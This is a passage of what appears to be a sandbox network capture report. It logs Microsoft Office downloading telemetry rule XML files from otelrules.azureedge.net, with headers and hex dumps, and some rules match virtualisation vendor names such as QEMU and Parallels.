20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:30 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:30 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115830Z-185f5d8b95c4hl5whC1NYCeex00000000a3000000000aptc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:30 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:30 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115830Z-r1d97b99577dd2gchC1TEBz5ys00000008mg00000000b4mu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:30 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: c3a4d188-401e-0083-6b19-3b075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115830Z-r1d97b99577hc74hhC1TEBvbns00000008qg00000000672y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:31 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:31 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115831Z-185f5d8b95cgrrn8hC1NYCgwh400000009y000000000hd76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:31 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:31 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:31 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115831Z-1777c6cb754mqztshC1TEB4mkc00000009mg000000007sum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:31 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:31 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:31 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:31 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115831Z-1777c6cb754whff4hC1TEBcd6c00000008700000000079q3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:31 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:31 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115831Z-r1d97b99577ckpmjhC1TEBrzs000000008s000000000f2sm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:31 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:31 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115831Z-1777c6cb754gc8g6hC1TEB966c00000009mg000000004xe8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:31 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:32 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115832Z-185f5d8b95cdtclvhC1NYC4rmc0000000a9g00000000ctv8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:32 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:32 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115832Z-r1d97b9957789nh9hC1TEBxha800000008vg00000000d45r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:32 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:32 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:32 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115832Z-185f5d8b95cjbkr4hC1NYCeu2400000009z000000000ertx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:32 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:32 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:32 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:32 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115832Z-r1d97b99577kk29chC1TEBemmg00000008w0000000007vay x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
